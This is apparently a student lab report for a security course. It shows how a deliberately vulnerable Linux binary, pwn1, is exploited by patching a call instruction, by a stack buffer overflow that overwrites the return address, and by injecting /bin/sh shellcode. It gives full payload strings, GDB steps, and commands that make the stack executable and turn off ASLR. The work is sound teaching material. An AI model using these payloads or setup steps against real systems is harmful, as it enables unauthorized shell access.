2019-2020-2 20175310奚晨妍《网络对抗技术》Exp1 PC平台逆向破解
1 实践内容
本次实践的对象是一个名为pwn1的linux可执行文件。
pwn1文件包含以下三个函数:
- main函数:用于调用foo函数。
- foo函数:回显任何用户输入的字符串。
- getShell函数:返回一个可用Shell。
本次实验的三个实践内容如下:
- 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
- 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
- 注入一个自己制作的shellcode并运行这段shellcode。
2 实践步骤
2.1 直接修改程序机器指令,改变程序执行流程
Step1:下载目标文件pwn1,并进行反汇编。
输入objdump -d pwn1 | more
对pwn1文件进行反汇编,并分页显示。
此时输入/getShell
可以快速锁定到getShell函数、foo函数和main函数。
Step2:查看并修改汇编指令
上图中,我们可以看到main函数中call 8048491
这句汇编指令(红框标出):
- 它是要调用位于地址8048491处的foo函数(黄框标出)。
- 这句指令对应的机器指令为
e8 d7 ff ff ff
,其中:e8
为call指令的机器指令d7 ff ff ff
为call指令要跳转到的地址- 此时eip寄存器中的值为下条指令的地址,即
80484ba
- call指令要跳转到的地址+eip寄存器中的值=call指令所调用的foo函数的地址
- 即
d7 ff ff ff+80484ba=8048491
- 此时eip寄存器中的值为下条指令的地址,即
那么想让main函数调用getShell函数,只需将上述等式中foo函数的地址改为getShell函数的地址(蓝框标出):
call指令要跳转到的地址=call指令所调用的getShell函数的地址-eip寄存器中的值
=804847d-80484ba
=c3 ff ff ff
所以call指令对应的机器指令应改为e8 c3 ff ff ff
。
Step3:修改可执行文件
首先用cp pwn1 pwn2
语句对pwn1文件进行备份,然后输入vi pwn2
对pwn2文件进行修改
此时pwn2源文件显示如下:
源文件格式不方便修改,所以要将其转化为16进制:
- 按ESC键
- 输入
:%!xxd
转化结果如下:
输入/e8 d7
查找要修改的内容,然后分别输入rc
、r3
将d7
改为c3
,下图为改完后的结果
输入:%!xxd -r
转换16进制为原格式,然后输入:wq
保存并退出vi
Step4:反汇编查看修改结果
此时可以看到call函数调用的已经是getShell函数了
Step5:运行修改后的可执行文件
上图中pwn2文件是修改后的文件,功能是一个shell,而pwn1文件是修改前的文件,功能是显示用户输入的内容。
2.2 通过构造输入参数,造成BOF攻击,改变程序执行流
Step1:反汇编,了解程序的基本功能
输入objdump -d pwn1 | more
对pwn1文件进行反汇编,该文件正常运行是调用如下的foo函数,但这个函数有Buffer overflow漏洞
这里读入字符串,但系统只预留了28字节(0x1c)的缓冲区,超出部分会造成溢出,我们的目标是覆盖返回地址,我画了一个示意图便于理解:
从图中我们可以看到缓冲区大小为28字节,我们要覆盖返回地址就是要覆盖EIP寄存器中的值,也就是我们输入的字符的第33-36这四个字节。
080484af <main>: 80484af: 55 push %ebp 80484b0: 89 e5 mov %esp,%ebp 80484b2: 83 e4 f0 and $0xfffffff0,%esp 80484b5: e8 d7 ff ff ff call 8048491 <foo> ==上面的call调用foo,同时在堆栈上压上返回地址值:_80484ba____== 80484ba: b8 00 00 00 00 mov $0x0,%eax 80484bf: c9 leave 80484c0: c3 ret 80484c1: 66 90 xchg %ax,%ax 80484c3: 66 90 xchg %ax,%ax 80484c5: 66 90 xchg %ax,%ax 80484c7: 66 90 xchg %ax,%ax 80484c9: 66 90 xchg %ax,%ax 80484cb: 66 90 xchg %ax,%ax 80484cd: 66 90 xchg %ax,%ax 80484cf: 90 nop
Step2:确认输入字符串哪几个字符会覆盖到返回地址
这里需要使用GDB对文件进行调试,如果输入gdb pwn1
显示
bash: gdb:未找到命令
说明还未安装GDB,可以参考这篇博客完成安装。
输入gdb pwn1
对文件进行调试,输入r
运行程序
此时输入1111111122222222333333334444444412345678
(40字节),程序发生段错误
使用info r
命令查看寄存器的值,此时eip寄存器中的值为0x34333231
即1234对应的ASCII码
这验证了在Step1中提到的,输入的字符的第33-36这四个字节将覆盖EIP寄存器中的值。
那么要向让main函数调用getShell函数,只需将第33-36这四个字节改为 getShell 的内存地址。
Step3:确认用什么值来覆盖返回地址
之前已经知道getShell的内存地址为0804847d,而且反汇编结果中,机器指令低字节在前、高字节在后,那么输入的字符串应该为11111111222222223333333344444444\x7d\x84\x04\x08
。
Step4:构造输入字符串
由为我们没法通过键盘输入\x7d\x84\x04\x08
这样的16进制值,所以先生成包括这样字符串的一个文件,\x0a
表示回车。
- 输入
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
,使用输出重定向>将perl生成的字符串存储到文件input中。 - 输入指令
xxd input
查看input文件的内容是否如预期。 - 输入
(cat input; cat) | ./pwn1
,将input的输入,通过管道符“|”,作为pwn1的输入。 - 此时返回地址已经被覆盖,程序调用了getShell函数,我输入了ls和pwd来验证结果。
2.3 注入Shellcode并执行
Step1:准备一段Shellcode
本次实验shellcode的编写参考了学长的博客Shellcode入门,使用的shellcode如下:
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
Step2:准备工作
由于还未安装execstack,先输入apt-get install execstack
安装execstack。
- 输入
sudo -s
添加管理员权限 - 输入
execstack -s pwn1
设置堆栈可执行 - 输入
execstack -q pwn1
查询文件的堆栈是否可执行 - 输入
more /proc/sys/kernel/randomize_va_space
- 输入
echo "0" > /proc/sys/kernel/randomize_va_space
关闭地址随机化 - 输入
more /proc/sys/kernel/randomize_va_space
Step3:构造要注入的payload
-
Linux下有两种基本构造攻击buf的方法:
retaddr+nop+shellcode
nop+shellcode+retaddr
-
因为retaddr在缓冲区的位置是固定的,shellcode要不在它前面,要不在它后面。
-
简单说缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边
-
这次实验中
nop+shellcode+retaddr
结构并不方便用于查找shellcode -
所以我们使用的结构为:
retaddr+nop+shellcode
- nop一为是了填充,二是作为“着陆区/滑行区”。
- 我们猜的返回地址只要落在任何一个nop上,自然会滑到我们的shellcode。
①使用输出重定向将perl生成的字符串存储到文件input_shellcode中:
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
- 上面最后的
\x4\x3\x2\x1
将覆盖到堆栈上的返回地址的位置,需要将它改为这段shellcode的地址。 - 最后一个字符不能是
\x0a
,因为下面要进行调试,不能输入回车。
②注入攻击buf:输入(cat input_shellcode;cat) | ./pwn1
Step4:使用GDB调试进程
①不退出刚刚运行的pwn1程序,打开另外一个终端,输入ps -ef | grep pwn1
查看pwn1的进程号
由上图可知进程号为5784。
②输入attach 5784
启动gdb调试这个进程。
③输入disassemble foo
查看到ret
的地址为0x080484ae
。
④输入break *0x080484ae
在0x080484ae
处设置断点。
⑤在之前的终端中按下回车,然后在调试的终端中输入c
继续运行。
⑥输入info r esp
查看栈顶指针所在的位置,并查看改地址存放的数据:
上图中可以看到0xffffd6bc
存放的数据是01020304
,就是返回地址的位置。shellcode地址就是 0xffffd6bc+4
,即0xffffd6c0
。
Step5:修改攻击代码,完成攻击
①修改input_shellcode文件中的代码
perl -e 'print "A" x 32;print "\xc0\xd6\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
②执行(cat input_shellcode;cat) | ./pwn1
此时程序已被攻击,调用了getShell函数,实现了shell功能,如下图:
3 问题回答
3.1 实验收获与感想
这次实验主要围绕缓冲区溢出问题,对具有缓冲区溢出漏洞的程序进行攻击。缓冲区溢出问题在之前的好几门课程中都有所涉及,因此理解起来没有太大的问题,看了老师的视频后对一些细节问题有了更好地认识。这次实验比较简单,前两部分按照老师给的说明做很快就完成了,主要是第三部分比较复杂。因为这里需要自己找进程号,根据返回地址推出shellcode地址,然后修改shellcode的代码,这个步骤我反复看了好几遍视频才理解并完成实践。实验过程中也遇到了挺多的问题,但是都通过查询解决了。总的来说这次实验对我来说收获颇深,让我通过亲手实践的方式更加理解了缓冲区溢出攻击的过程以及完善代码、减少漏洞的重要性。
3.2 什么是漏洞?漏洞有什么危害?
- 我认为漏洞就是程序员在编写代码时产生的一些错误,这些错误不会在编译的时候被编译器发现,但是如果有恶意的攻击者利用这些错误,在运行的时候对错误进行攻击的话,可能会对系统造成破坏,用户也可能因此出现隐私泄露的问题。
- 漏洞可能会使系统被破坏,攻击者利用漏洞对非授权用户给予管理员权限,使用户的信息泄露。
4 实验要求
4.1 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
- NOP:0x90
- JNE:0x75
- JE:0x74
- JMP
- Short Jump(短跳转):0xEB
- Near Jump(近跳转):0xE9
- Far Jump(远跳转):0xEA
- CMP:0x39
4.2 掌握反汇编与十六进制编程器
- 反汇编:
objdump -d xxx | more
- 十六进制编程器Perl:
perl -e 'print "xxx"' > input
4.3 能正确修改机器指令改变程序执行流程
具体过程见实验步骤2.1
4.4 能正确构造payload进行bof攻击
具体过程见实验步骤2.3